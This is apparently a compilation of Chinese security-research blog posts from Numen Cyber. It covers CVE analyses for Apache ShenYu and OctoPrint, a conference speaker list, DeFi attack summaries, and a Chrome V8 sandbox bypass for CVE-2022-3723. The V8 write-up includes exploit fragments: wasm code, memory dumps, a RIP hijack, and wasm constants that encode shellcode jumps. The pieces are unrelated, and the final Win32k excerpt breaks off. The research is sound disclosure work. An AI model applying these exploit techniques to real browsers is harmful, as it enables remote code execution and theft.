https://bugs.chromium.org/p/chromium/issues/detail?id=1452137

Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。

拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。

目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。

阅读原文

跳转微信打开

前言Apache ShenYu 是一个 Java 原生 API 网关，用于服务代理、协议转换和 API 治理

前言

Apache ShenYu 是一个 Java 原生 API 网关，用于服务代理、协议转换和 API 治理。

描述

Numen安全实验室漏洞研究员在Apache ShenYu< 2.6版本发现了一个SSRF漏洞。

CVE编号

CVE-2023-25753

影响版本

< 2.6

分析

org.apache.shenyu.admin.controller.SandboxController#proxyGateway接收proxyGatewayDTO，调用requestProxyGateway方法

ProxyGatewayDTO有requestUrl、cookie、headers、httpMethod参数

requestProxyGateway方法获取ProxyGatewayDTO中的参数调用org.apache.shenyu.admin.utils.HttpUtils#requestCall发起请求

requestCall用来构造http请求

从上面的流程可以看到这个请求没有任何限制，我们可以requestProxyGateway利用发送任意http请求，因为URI、HTTP请求方法、header都是可控的。

攻击面

除了SSRF的常规利用方法，还可以攻击本地的9195端口的shenyu-bootstrap服务

修复

最新版本中对端口做了黑名单限制

参考

https://www.cve.org/CVERecord?id=CVE-2023-25753

https://shenyu.apache.org/zh/docs/index

Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。

拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。

目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。

阅读原文

跳转微信打开

当你使用浏览器打开一个恶意网站，黑客就已经拿到了你电脑的最高系统权限，Chrome的攻击链不管是web3世界，还是web2世界都有很强大的杀伤力，欢迎大家关注Numen实验室在POC2023上的议题。

    来自 Numen Cyber 的 POC2023 议题已经公开，来自我们二进制实验室的研究员将在本次会议上揭秘如果通过浏览器和操作系统漏洞的结合完成Chrome完整利用链，实现访问恶意链接即可导致系统最高权限被黑客攻破，你能想象到它的覆盖场景有多广，我们在POC2023等你。

本届POC2023全部演讲嘉宾列表：

（按字母顺序列出的演讲嘉宾姓名）

Antonio Cocomazzi, "10 years of Windows Privilege Escalation with Potatoes”

Antonio Cocomazzi（又名 splinter_code）是 SentinelOne 的高级攻击性安全研究员。他专注于低级利用和 EDR（终端检测和响应）规避，在揭开Windows操作系统内部复杂性方面具有浓厚兴趣。

Antonio 的主要研究重点在于识别针对Windows操作系统的新型攻击向量，并设计创新技术以在高度监控的环境中保持隐蔽。

除了在 SentinelOne 的工作，Antonio 还是一名活跃的独立研究员，不断寻找新的漏洞。他对逆向工程的热情涵盖了从解包复杂的恶意软件到解剖 Windows 内部组件。

他的专业知识已在国际舞台上得到认可，曾在BlueHat IL、Black Hat Asia、Insomni Hack 和 Hack In The Box 等著名安全会议上发表演讲。

Avboy1337 & yyjb & vrk, "Modern Browser Exploit Development”

avboy1337（@frust93717815）专注于 Chrome 和 Linux 内核漏洞开发。

yyjb 专注于 Windows 内核和协议漏洞。

vrk  NumenCyber 安全研究实验室的经理。

我们专注于编写漏洞利用程序，特别是在野外的完美利用程序。

NumenCyber（@SG）实验室是总部位于新加坡的一家 WEB3 安全公司，其中二进制实验室专注于 android/Linux/Windows 内核和浏览器安全。

Dongok Kim & SeungHyun Lee & Insu Yun, "One shot, Triple kill: Pwning all three Google kernelCTF instances with a single 1-day Linux vulnerability”

Dongok Kim 是 KAIST 黑客实验室的硕士研究生。他在 KAIST 的计算机与电子工程学院获得了学士学位。他对一般系统安全感兴趣，包括软件安全、二进制利用和嵌入式系统安全。目前，他专注于 Linux 内核安全，特别是内核漏洞自动化利用和内核漏洞分类。他也是一名有竞争力的 CTF（Capture The Flag）玩家，经常代表 KAIST GoN 和 The Goose 团队参赛。他参加了几个全球/本地的 CTF 比赛，并获得了奖项。

SeungHyun Lee 是 KAIST 的本科生，目前在黑客实验室担任研究实习生。他的研究重点是系统安全、二进制分析、自动漏洞发现和利用生成。他也是 KAIST GoN 的活跃 CTF 玩家，同时是跨国 CTF 团队 zer0pts 的成员。

Insu Yun 是 KAIST 的助理教授，目前领导黑客实验室。他对系统安全有广泛兴趣，特别是二进制分析、自动漏洞检测和自动漏洞利用生成。他的工作已经发表在IEEE安全与隐私、USENIX 安全和 USENIX OSDI 等主要计算机会议上。特别是，他的研究在2018年赢得了 USENIX 安全和 OSDI 的最佳论文奖。

除了研究，他还以黑客专家的身份参加了几场黑客比赛。特别是，他通过破解 Apple Safari 赢得了2020年的 Pwn2Own 比赛，并在2015年和2018年赢得了 DEFCON CTF，这是世界黑客比赛。

在加入 KAIST 之前，他于2020年从佐治亚理工学院获得了计算机科学博士学位。

Ignat Korchagin, "Linux user namespaces: a blessing and a curse”

Ignat 是 Cloudflare 的一名系统工程师，主要从事 Linux、平台和硬件安全方面的工作。Ignat 感兴趣的领域包括密码学、黑客技术和底层编程。

在加入 Cloudflare 之前，Ignat 曾在三星电子移动通信部门担任高级安全工程师。他的解决方案可以在许多旧款三星智能手机和平板电脑中找到。Ignat 的职业生涯始于乌克兰政府通信服务部门，担任安全研究员。

James Forshaw, "Building More Windows RPC Tooling for Security Research"

James Forshaw是 Google 的 Project Zero 项目中的一名安全研究员。他已经参与计算机硬件和软件安全工作超过10年，研究了各种不同的平台和应用程序。他对逻辑漏洞非常感兴趣，被列为 MSRC 的第一名研究员，并且是 Pwn2Own 和 Microsoft 缓解绕过奖金的获得者。他在多个安全会议上发表过演讲，包括 Black Hat USA、CanSecWest、Bluehat、HITB 和 Infiltrate。他还是即将出版的书《用 PowerShell 了解 Windows 安全内部》的作者，该书由 NoStarch Press 出版。

Mark Brand, "MTE as Tested”

Mark Brand 是 Google 的 Project Zero 团队的软件工程师，该团队旨在减少因互联网上的有针对性的攻击而造成的损害。他目前的重点是网络浏览器安全。

MJ0011, "Navigating the Light and Darkness in the World of Vulnerabilities”

MJ0011 Cyber-Kunlun 和 Kunlun Lab 的 CEO。前奇虎360 CTO，360Vulcan 团队的创始人。

Ned Williamson, "Fuzzing as Reinforcement Learning”

Ned Williamson 是 Google Project Zero 的一名安全研究员。他在利用 Chrome 和 iOS 方面有经验，并专注于新颖和深入的模糊测试技术。

Nikita Pupyshev, "Evolution of Safari mitigations and bypasses in 2022”

Nikita 是一名独立安全研究员，拥有大约4年的安全研究经验。他主要关注 Apple 平台，但偶尔也会探索 Android/Linux 和嵌入式设备。他研究 WebKit 两年，不过现在正在尝试破解 XNU。

Seth Jenkins, "Exploiting null-derefs: Doing the impossible in the Linux kernel"

Seth Jenkins 是 Google Project Zero 的一名安全研究员。他主要专注于 Linux 内核 zero-day 研究，但也涉猎了各种不同的架构、操作系统和软件，发现漏洞并在许多不同的上下文中编写漏洞利用程序。Seth 特别喜欢为漏洞利用开发创新新策略。

Shahmeer Amir, "Advanced SCADA and ICS Hacking techniques”

Shahmeer Amir 是一位世界知名的道德黑客，也是成就第三的漏洞猎人，他帮助了400 多家财富公司（包括 Facebook、Microsoft、Yahoo 和 Twitter）解决了他们系统中的关键安全问题。他在网络安全领域创办了多个创业企业，目前在四个国家领导三家初创公司。

作为 Younite 的 CEO，Shahmeer 的主要公司正在研究下一代音视频通信技术。他还是 Veiliux 的首席执行官，这是亚洲首家主流网络安全创业公司，业务遍布亚太地区、阿联酋和英国。另一家初创公司 Authiun，是21世纪的完整无密码认证解决方案。Shahmeer 是巴基斯坦财政部政府的网络安全顾问，参与了多个关于深海跟踪、立法的数字化转型和巴基斯坦文化内容数字化的项目。他还是福布斯技术委员会的成员。

作为一名工程师和拥有 EC-Council、Mile2、SANS 等知名组织相关认证的网络安全专业人士，Shahmeer 目前正在研究他的博士学位的区块链技术。他撰写了三本书，包括《Bug Bounty Hunting Essentials》，以及十几篇研究论文。Shahmeer 是一个非常受欢迎的主题演讲嘉宾，他经常被邀请就网络安全、区块链和其他技术发表演讲，全球已有80多次会议邀请他，包括 Blackhat、GiSec、FIC、AEC Alberta、Hackfest 等。他还被多个声望卓著的学术机构接纳参加他们的创业项目，包括斯坦福大学。作为公司的 CTO，Shahmeer 已经学会了25种编程语言，并能阅读35种编程语言的代码，使他成为多种技术的专家。

wh1tc & Zhiniang Peng, "OLE object are still dangerous today — Exploiting Microsoft Office”

@wh1tc 是深信服的一名安全研究员。他从事 Windows 漏洞狩猎和模糊测试已经有3年的时间。他在2023年第一季度 MSRC 安全研究员排行榜上排名第三。

Zhiniang Peng博士（@edwardzpeng）是深信服的首席架构师。他目前的研究领域包括应用密码学、软件安全和威胁狩猎。他在攻击性和防御性安全方面拥有超过10年的经验，并在学术界和工业界发表了许多研究。

Yingjie Cao & Zhe Jing, "A roadmap to $50,000 at Pwn2Own Vehicle 2024: Dissecting QNX, and exploiting its vulnerabilities”

Yingjie Cao 是360安全的高级安全研究员，也是香港理工大学的准博士研究生，专注于连接车辆安全。他的研究已被学术界和工业界接受。他热衷于研究与车辆安全相关的攻防技术。

Zhe Jing 是一名在攻击和防御安全方面都有专长的安全研究员。他对模糊测试和利用二进制漏洞特别感兴趣。

Yong Wang, "Simple bug but not easy exploit: Rooting Android devices in one shot”

Yong Wang（@ThomasKing2014）是阿里巴巴云潘多拉实验室的一名安全工程师。王勇目前专注于Android/浏览器漏洞狩猎和利用。他曾是多个安全会议的演讲嘉宾，包括 Black Hat（亚洲、欧洲、美国）、HITB Amsterdam、Zer0Con、POC、CanSecWest 和 QPSS。这些年来，他报告了几个漏洞，其中一个被提名为2019年的 Pwnie 奖。

Yuki Chen & Qibo Shi(k0shl) & Azure Yang, "Bug Hunting and Exploiting in Microsoft's Message Queuing (MSMQ) Components”

Yuki Chen 是 Cyber Kunln 的一名安全研究员。

Qibo Shi（k0shl）是 Cyber Kunln 的一名安全研究员。

Azure Yang 是 Cyber Kunln 的一名安全研究员。

Zhaofeng Chen, "Attack Move Verifiers: Our Experiences of Exploiting and Enhancing Move-based Blockchain"

Zhaofeng Chen 是 CertiK 的一名安全研究员，专门研究机密计算、系统安全和移动安全。他曾在Zer0Con、POC、BlackHat 和 CanSecWest 等安全会议上发表演讲。他热衷于研究攻防技术，最近专注于Web3 基础设施安全。

相关链接

https://powerofcommunity.net/schedule.htm

https://powerofcommunity.net/speaker_main.htm

阅读原文

跳转微信打开

前言OctoPrint是一个开源的3D打印机控制器应用程序，它为连接的打印机提供Web 界面。它可以显示打印

前言

OctoPrint是一个开源的3D打印机控制器应用程序，它为连接的打印机提供Web 界面。它可以显示打印机的状态和关键参数，并支持安排打印作业和远程控制打印机。

描述

Numen安全实验室漏洞研究员在OctoPrint小于等于1.9.2版本中发现打印作业执时配置特制的GCODE语言脚本，允许在该脚本渲染期间执行任意代码。

CVE编号

CVE-2023-41047

影响版本

< 1.9.3

分析

src/octoprint/server/api/settings.py#getSettings()

对应

将gcode传递到s对象的loadScript函数

s对象来自

src/octoprint/settings/__init__.py#loadScript()

使用template.render函数进行渲染。

template 对象来自_get_script_template函数。

漏洞触发源于 gcode 的不安全渲染，在 OctoPrint 中没有采取任何安全措施，从而导致了这个问题。

修复 

1.9.3版本添加安全沙箱

时间线 

* 2023-8-31 向OctoPrint团队报告漏洞

* 2023-8-31 收到 OctoPrint 团队的回复，确认漏洞

* 2023-10-10 修复安全漏洞，并发布OctoPrint 1.9.3版本

* 2023-10-10 公开CVE

互联网影响

通过shodan、fofa发现了20000多个暴露的OctoPrint。

参考

https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3

https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph

https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db

https://nvd.nist.gov/vuln/detail/CVE-2023-41047

Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。

拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。

目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。

阅读原文

跳转微信打开

当黑客攻击目标用户浏览器时，多进程通信处于异常的时候，部分进程会卡死在系统中不会退出，此时多款存在私钥助记符泄漏的钱包，在与其他进程通信过程中将其长期保存在了僵尸进程中，黑客可不费吹灰之力将财产盗走。

0x01-前言

2023年9月26日mosec在上海召开。借助BaijiuCon的机会，Numen Cyber 研究员@avboy1337 向参会者总结了绕过v8沙箱的思路，并演示了CVE-2023-21674从untrust权限提升到System权限的漏洞验证视频和一个最新版Android系统上触发的越界写漏洞演示视频。

2023年8月4日，我们公开了Chrome最新版v8 sandbox绕过。其本质是利用Function对象中的native指针未包装，实现劫持代码执行。

2023年9月20日，Man Yue Mo的Issue 1452137（CVE-2023-3420）公开，从公开的exp中可以看到，是用了JIT的function对象，本质也是使用的Function对象中的native指针劫持。经测试后发现在Chrome 116.0.5845.180版本之后，Function对象的指针劫持已经失效。至少在Function对象附近没有发现native指针。

在撰写exp时，Chrome render进程获得了相对读写能力后，借助ignition可实现控制rip，google 2023年 CTF中对该方法进行了提示。Numen研究员认为，如果想彻底对v8sbx进行封装，恐怕不得不考虑ignition中类似return等字节码处理。

实际上我们只要在v8相对读写范围内能够实现代码劫持，即可稳定绕过v8sbx，经过进一步尝试，发现最新版Chrome v8sbx绕过。

从①和②可以看到，对象位于v8相对读写内，高地址相同，同时内存区域属于可读可写。从③可以看到，我们能够实现控制rip。我们会在合适的时候将该方法尽快公开。

0x02 - web3钱包插件

由于Chrome的使用之广，影响之深远，web2作为web3的基础，某些特性直接影响了web3的安全基线。

这里仅以钱包安全为例（或者私钥等key的处理基于垃圾收集算法的场景）。由于底层采用了垃圾回收，引擎在间歇性扫描对象的过程中，没有在用户切换处理私钥或助记符的gui界面后立刻清理内存，导致私钥残留在内存中。实际上，一般并不仅仅是残留内存中，多数钱包还会将该私钥泄漏到主进程。

这里我们简单片面地描述钱包的安全基线：当黑客进入目标机器后，由于钱包的高度安全，黑客无法获取私钥密码助记符等关键信息。

然而，当钱包的设计基于垃圾回收算法时候，这个安全基线一般很难保证。上半年我们测试了多个插件钱包，几乎全部存在该漏洞。

甚至更坏的情况是：当黑客攻击目标用户浏览器时，多进程通信处于异常的时候，部分进程会卡死在系统中不会退出，此时多款存在私钥助记符泄漏的钱包，在与其他进程通信过程中将其长期保存在了僵尸进程中，黑客可不费吹灰之力将财产盗走。

私钥泄漏

助记符泄漏

0x03 - 小结

Numen安全团队建议，我们在处理基于私钥key、助记符等信息时，需要针对性处理关键信息的交互，尤其是当基于v8组件（chrome/electron/CEF等）甚至基于垃圾回收算法时，应考虑到密钥残留问题。由于Chrome主进程与子进程自动通信，子进程与服务器通信不得不经过主进程，只要关键信息没有加密，则很难不泄漏到主进程。

0x04 - 参考链接

https://twitter.com/numencyber/status/1706699102141178324

https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14

Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。

拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。

目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。

阅读原文

跳转微信打开

CVE-2022-3723(issue1378239)是谷歌发现的在野漏洞，然而至今该issue仍未公开。我们以此为例阐述如何绕过最新Chrome v8沙箱，并将该CVE完整exp公开。

0x00 - 引言

2023年7月21日，@5aelo发布了一篇新的关于v8沙箱的公开讨论文档：函数指针封装。鉴于该绕过未来将会被Chrome封装指针修复，本文公开讨论如何利用Function的native指针绕过Chrome最新版v8沙箱。

关于v8沙箱的来源及其进展，我们可以参考之前的一些文档。这里仅简单列表。V8 Sandbox - High-Level Design主要讲解了顶层的设计思路。V8 Sandbox - External Pointer Sandboxing主要讨论了外部指针表的设计，如何实现内存安全的方式访问V8沙箱之外的对象。高版本的Chrome漏洞利用，v8沙箱成为不得不考虑的缓解绕过。与以往类似，本文将深入讨论绕过思路和实现，并结合在野漏洞CVE-2022-3723(issue1378239)实现弹出计算器。目前该issue仍旧处于锁定状态。

0x01 - Function对象

在撰写exp的时候，一般是从对象破坏到任意读写，最后到代码执行。v8增加了沙箱后，基本思路应该是：

对象破坏->相对任意读写->绕过沙箱->代码执行

这里我们需要关注的就是从如何从相对任意读写到绕过沙箱。Javascript中的函数对象，正好具备这个特征。Function本身是一个对象，同时Function还可以实现执行代码。也就是说，它是对象到执行的一个桥梁。

如下是Function对象的数据结构：

<!--测试源码-->
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule);var f = wasmInstance.exports.main;%DebugPrint(f);

DebugPrint: 0x1f290011c161: [Function] in OldSpace - map: 0x1f29001138b9 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1f2900104275 <JSFunction (sfi = 0x1f29000c8ef9)> - elements: 0x1f2900000219 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x1f290011c135 <SharedFunctionInfo js-to-wasm::i> - name: 0x1f2900002785 <String[1]: #0> - builtin: JSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x1f2900103c0d <NativeContext[281]> - code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper> - Wasm instance: 0x1f290011bf69 <Instance map = 0x1f290011a605>

hex数据如下

0x1f290011c100        00000000 00040E40 00001E95 0011C0F10x1f290011c110        00303979 00000000 0011BF69 000000000x1f290011c120        000007D0 002B1A65 00000000 000000020x1f290011c130        00040E60 00000D8D 0011C109 000027850x1f290011c140        0000026D 0011BED1 00010000 000000000x1f290011c150        00000000 FFFFFFFF 0000031B 000000000x1f290011c160        001138B9 00000219 00000219 000574000x1f290011c170        0011C135 00103C0D 000C22F9 00000061

0x02 - RIP 劫持

0x1f290011c160是对象起始地址，0x1f290011C135是shared_info对象，我们查看该对象详情

0x1f290011c135: [SharedFunctionInfo] in OldSpace - map: 0x1f2900000d8d <Map[44](SHARED_FUNCTION_INFO_TYPE)> - name: 0x1f2900002785 <String[1]: #0> - kind: NormalFunction - syntax kind: AnonymousExpression - function_map_index: 204 - formal_parameter_count: 0 - expected_nof_properties: 0 - language_mode: sloppy - function_data: 0x1f290011c109 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)> - code (from function_data): 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>……

从SharedFunctionInfo可以看到对象function_data，地址是0x1f290011c109，然后解析该对象如下：

0x1f290011c109: [WasmExportedFunctionData] in OldSpace - map: 0x1f2900001e95 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)> - internal: 0x1f290011c0f1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)> - wrapper_code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper> - js_promise_flags: 0

虽然在解析的时候能很快看到0x1f2900303979，但在内存中可以看到，是倒序出现的。这个问题应该可以通过对布局的小技巧实现固定排序。这里需要讨论的便是wrapper_code。

在最新版的v8中我们可以看到它是只读属性

(gdb) vmmap 0x1f2900303979[ Legend:  Code | Heap | Stack ]Start              End                Offset             Perm Path0x00001f2900300000 0x00001f2900318000 0x0000000000000000 r-- 

不过没关系，我们可以伪造这个对象。如下是我们在最新版Chrome115.0.5790.170中的测试：

对象地址是0x109900233314，我们修改地址为0x10990023332C处的数据为0x002333B5，然后在0x1099002333B4处伪造对象，劫持wasm目标地址为0x037557588B010。真实的wasm起始起始地址为0x37557588B000。如上图所示，我们可以成功劫持RIP为0x037557588B010，该处汇编为0xCC，gdb成功断下。

0x03 - issue1378239 绕过思路

issue1378239-CVE-2022-3723影响Chrome107.0.5304.62及其之前的版本，为2022年捕获的在野漏洞，但至今该Issue仍未公开。在谷歌公开poc的基础上，我们很容易实现任意相对读写。顾虑到本文讨论的重点是绕过沙箱，这里不再赘述如何从poc到任意读写。

实现任意读写后，我们可以泄漏wasm，客户端将泄漏的wasm地址发送到远端server，同时请求wasm。远端server接收到wasm地址后，立刻将wasm地址信息编译到wasm字节码并返回。由于我们可以劫持RIP，这里精巧设计wasm代码，使漏洞劫持RIP到wasm中的错位字节码。具体细节如下所示：

var wasm_code = `(module  (func $f (export "f") (param i64)  (call $f (i64.const 0x12EB9060B0C03148)) ;; 48 31 C0 B0 60 90 EB 12  (call $f (i64.const 0x0BEB9090008B4865)) ;; 65 48 8B 00 90 90 EB 0B…………

上述wasm代码编译后，在最新版Chrome内存中为RWX属性，不过在107.0.5304.63版本中为RX属性，我们可以控制的内容为$f函数的参数，这便足够我们执行任意代码。借助前两个字节48 31，可以让我们调转到下一个可控字节码。如此，在这段wasm中，我们可以一遍执行等效汇编，一边跳转。逐步完成VirtualProtect调用和跳转到Shellcode。具体设计细节可参考github中的公开代码。

0x04 - issue1378239 需要注意的部分 

在撰写该exp时，发现在单独的Context环境中只能触发一次漏洞。于是该exp分成两步，先从一个iframe中触发信息泄漏，然后将该信息传递给Server，接着Server将泄漏的信息写入另一个html，客户端请求第二个html到本地的iframe中。由于两个iframe使用了相同的域名和端口，属于同一进程，其中泄漏的地址可以互相交叉使用。我们在第二个iframe中实现数组长度的修改，之后按照常规的任意读写，绕过v8沙箱实现沙箱内RCE。具体exp细节参考github。

视频演示

事实上，Chrome近期安全的确在不停的改进。2023年pwn2own中也没有出现Chrome Full Chain。我们从在野的poc等也可观测到，其漏洞利用手法也越来越新颖，传统容易利用的类型混淆也逐渐被我们描述为品相极佳的漏洞。近年来TheHole和UninitiallizeOddBall等内置对象也在跟着不停改进。然而对抗一直是动态的，从表象上看也一直是平衡的。我们仍旧没有完全杜绝PatchGap在实际产品中的影响。

在研究1day和nday的过程中，实际上Teams/Skype等很多流行IM，仍旧无法跟上Chrome的修复进度。而无独有偶的是，Skype和Teams等IM的确加入了v8沙箱来缓解1/nday的威胁。

借助Chrome的patch diff或者谷歌给出的poc，很大程度上降低了黑客复现漏洞和撰写exp的难度，这对共享相同组件的软件的确构成了很大威胁。如下是我们在研究在野/1day/nday过程中撰写的Skype的exp。其他受影响软件的patch Gap这里不再赘述。

视频演示

https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2022-3723

https://medium.com/@numencyberlabs/using-leaking-sentinel-value-to-bypass-the-latest-chrome-v8-hardenprotect-c4ed40e3d34f

https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078

https://twitter.com/5aelo/status/1682405383896219649

https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k/edit

https://docs.google.com/document/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/edit

https://docs.google.com/presentation/d/1iDWDHuAZ8ee-dRF5Lkf0nwO2mkLdZG_YJEP1yPvJ09E/edit#slide=id.g19fd0c0660d_0_267

阅读原文

跳转微信打开

Numen Cyber 是链上威胁检测与防御的先驱。

近日，Numen Cyber 完成了对 Sui 生态目前用户量最大的钱包 Suiet 的安全审计，可通过阅读原文获取报告。

《Aptos 公链 move VM 高危漏洞分析》

《Numen Cyber 独家发现 Move 语言又一高危漏洞》

《Numen 独家:Win32k 提权漏洞CVE-2023-29336漏洞解析以 EXP 构造》

阅读原文

跳转微信打开

随着区块链技术的不断普及，确保区块链网络的安全和完整性变得至关重要。

除了技术实力外，MUFEX 还重视卓越的客户服务。MUFEX 拥有一支由来自 Binance，Bybit，Huobi 和 MEXC 等知名交易所的近 30 名经验丰富的企业家组成的团队，具备重新定义用户参与度并释放加密货币行业无限可能性的能力。

MUFEX 是一家改变游戏规则的去中心化永久交易交易所，致力于提供卓越的用户体验。

通过使用 ZKP 技术，MUFEX 确保了用户的隐私和用户资产的安全，同时提高了整体交易性能和体验。通过智能合约钱包，MUFEX 提供了一个让人想起 Web2.0 的无缝注册和登录过程，消除了对助记短语或私钥的需求，同时确保了个人资产的安全。MUFEX 拥有类似于传统集中式交易所的交易体验，并通过创新的 MLP 流动性池来最大限度地减少滑动，为精准和无与伦比的交易机会奠定了基础。

MUFEX 还致力于 chat2Trade，使交易无处不在，并支持 Web3 的广泛采用。MUFEX 引入了业界领先的联盟系统和平台，超越一切，提供卓越的客户服务。MUFEX 拥有一支由近30名成员组成的团队，其中包括来自币安，Bybit，Huobi 和 MEXC 等知名交易所的经验丰富的企业家，站在加密货币行业的前沿，随时准备重新定义用户使用加密货币的方式，释放无限的可能性。

阅读原文

跳转微信打开

“攻击者”利用重入漏洞，重复创建合约以调用 joinPool 函数，然后调用 exitPool 函数。

根据 Numen 链上监控显示，Jun-12-2023 01:06:35 AM（+UTC）， Ethereum 链上 Sturdy（@Sturdy Finance）项目遭到闪电贷攻击，损失442枚 ETH，价值约80万美元。

被盗资金已全部转移至 Tornado.Cash。

根本原因

“攻击者”利用重入漏洞，重复创建合约以调用 joinPool 函数，然后调用 exitPool 函数。

由于 exitPool 函数中存在重入 #vulnerability，黑客获得了操纵从  getAssetPrice(cB-stETH-STABLE) 获得的价格并从中获利的能力。

02

近期闪电贷攻击事件较为频发。

根据 Numen 链上监控显示，Jun-11-2023 10:37:49 AM（+UTC），SellToken（@TrustTheTrident）可能受到了攻击，攻击者利用闪电贷和多个地址借入了大量资金。

攻击者地址：bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089

攻击者合约地址：bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052

根本原因

攻击者通过矿工合约中的“sendMiner”方法操纵价格，使计算的资金膨胀，最终获得可观的金额。

END

关于 Numen Cyber

Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。

拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。

目前 Numen Cyber 的合作伙伴包括不限于 Binance，Sui，Cobo，BitForex，ChainUp，Suiet 等，也包括新加坡金融管理局、新加坡国立大学、中国移动，以及阿里云、腾讯云、华为云、亚马逊、微软等。

Numen 官网

https://numencyber.com/ 

GitHub

https://github.com/NumenCyber

Twitter

https://twitter.com/@numencyber

Medium

https://medium.com/@numencyberlabs

LinkedIn

https://www.linkedin.com/company/numencyber/

阅读原文

跳转微信打开

这种攻击属于治理攻击，利用了代币合约的治理机制来篡改合约的权限，从而获取非法的控制权。

阅读原文

跳转微信打开

通过该漏洞，黑客可获取电脑的完全控制权。

1. 菜单D 中，必须其 ID 类型必须为系统菜单类型的一种，如：0xf060（关闭菜单）.
2. 菜单A 也必须是系统菜单，为了在后续的菜单遍历过程中在 菜单C 中的子菜单中寻找到我们指定的系统菜单类型 0xf060（菜单A 中如果包含我们要找的系统菜单类型，会提前结束菜单查找过程）。我们需要删除 菜单A 中的对应系统菜单类型 0xf060。
3. 删除掉 菜单C 在 菜单B 中的引用，才能在返回用户层的过程中彻底释放 菜单C。
4. 为什么需要 菜单B，这里我们并不确认这是否是必须以及原理，但如果没有 菜单B 这一层，似乎 菜单C 的释放仍有一些不顺利。

